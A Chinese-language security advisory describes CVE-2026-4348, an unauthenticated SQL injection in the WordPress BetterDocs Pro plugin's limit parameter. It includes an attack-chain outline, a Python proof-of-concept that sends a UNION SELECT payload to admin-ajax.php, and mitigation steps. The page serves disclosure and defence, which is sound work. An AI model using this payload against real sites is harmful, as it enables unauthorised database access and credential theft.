IPBUF安全漏洞报告
English
CVE-2026-4348 CVSS 7.5 高危

CVE-2026-4348 WordPress BetterDocs Pro SQL注入漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-4348
漏洞类型
SQL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress BetterDocs Pro

相关标签

SQL注入WordPressBetterDocs ProCVE-2026-4348远程攻击无需认证

漏洞概述

WordPress BetterDocs Pro插件在3.7.0及之前版本中存在严重的SQL注入漏洞。该漏洞源于插件在处理`get_current_letter_docs`等AJAX请求时,未对`limit`参数进行安全过滤,直接将其拼接到SQL查询中。未经身份验证的攻击者可利用此漏洞向数据库注入恶意代码,从而提取敏感信息。前提是插件必须开启百科全书功能。

技术细节

该漏洞的根本原因在于BetterDocs Pro插件在处理AJAX请求时,对用户输入的`limit`参数缺乏严格的过滤。具体来说,在`get_current_letter_docs`和`docs_sort_by_letter`这两个动作中,插件直接将`limit`参数拼接到SQL查询字符串中,然后才将其传递给`$wpdb->prepare()`函数。由于`$wpdb->prepare()`只能参数化后续传递的变量,无法修复已经被硬编码进查询字符串的恶意代码,攻击者可以通过构造恶意的`limit`参数(如包含`UNION SELECT`语句的载荷)来注入额外的SQL查询。由于这些AJAX动作不需要身份验证,且BetterDocs Pro的Encyclopedia(百科全书)功能默认可能开启或被管理员开启,攻击者可直接向`/wp-admin/admin-ajax.php`发送POST请求,利用该漏洞读取数据库中的敏感数据,如用户凭证哈希等。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站是否使用WordPress,并检测是否安装了BetterDocs Pro插件及其版本号。
STEP 2
2. 功能验证
确认BetterDocs Pro插件中的Encyclopedia(百科全书)功能是否已启用,这是利用该漏洞的必要条件。
STEP 3
3. 漏洞利用
攻击者向`/wp-admin/admin-ajax.php`发送特制的POST请求,设置action为`get_current_letter_docs`或`docs_sort_by_letter`,并在`limit`参数中注入恶意SQL语句。
STEP 4
4. 数据窃取
利用SQL注入漏洞(如UNION查询),从数据库中提取敏感信息,例如管理员用户名、密码哈希或用户数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Vulnerable parameter: limit # Exploiting via UNION SELECT to extract database user and version sql_payload = "10 UNION SELECT 1,2,3,4,user(),version(),7,8,9,10-- -" data = { "action": "get_current_letter_docs", "limit": sql_payload, "letter": "A" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("Request sent successfully. Check response for SQL output.") print(response.text[:500]) # Print partial response except Exception as e: print(f"Error occurred: {e}")

影响范围

WordPress BetterDocs Pro <= 3.7.0

防御指南

临时缓解措施
建议立即检查并更新BetterDocs Pro插件。在未修复前,作为临时缓解措施,应在插件后台设置中关闭“Encyclopedia”功能,以防止未授权的SQL注入攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表